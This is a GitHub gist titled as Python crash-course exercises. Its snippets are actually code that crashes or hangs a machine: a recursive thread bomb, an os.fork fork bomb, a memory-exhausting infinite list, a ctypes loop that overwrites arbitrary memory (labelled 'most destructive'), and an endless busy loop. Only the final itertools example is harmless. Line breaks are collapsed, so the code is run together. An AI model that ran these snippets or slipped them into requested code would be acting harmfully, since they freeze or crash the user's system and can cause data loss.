Skip to content

Instantly share code, notes, and snippets.

@bryanseah234
Created October 3, 2026 10:44
Show Gist options
  • Select an option

  • Save bryanseah234/b560de84039da18c1bd7c2ac86b3cc31 to your computer and use it in GitHub Desktop.

Select an option

Save bryanseah234/b560de84039da18c1bd7c2ac86b3cc31 to your computer and use it in GitHub Desktop.
pythoncrash-code (Small Python crash-course exercises split across numbered scripts)
from threading import Threaddef bomb(): t1 = Thread(target=bomb).start() t2 = Thread(target=bomb).start() t1.join() t2.join()bomb()
from os import forkwhile True: fork()
from itertools import count as crashlist(crash(0))
#mostdestructiveimport ctypesp = ctypes.pointer(ctypes.c_char.from_address(5))while True: p[0] = b'x' p = p + 1
#simplestmethodwhile True: pass
import itertoolsfor a,b,c in itertools.product(itertools.count(0),xrange(0,10),xrange(0,10)): print a,b,c if a > 20: break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment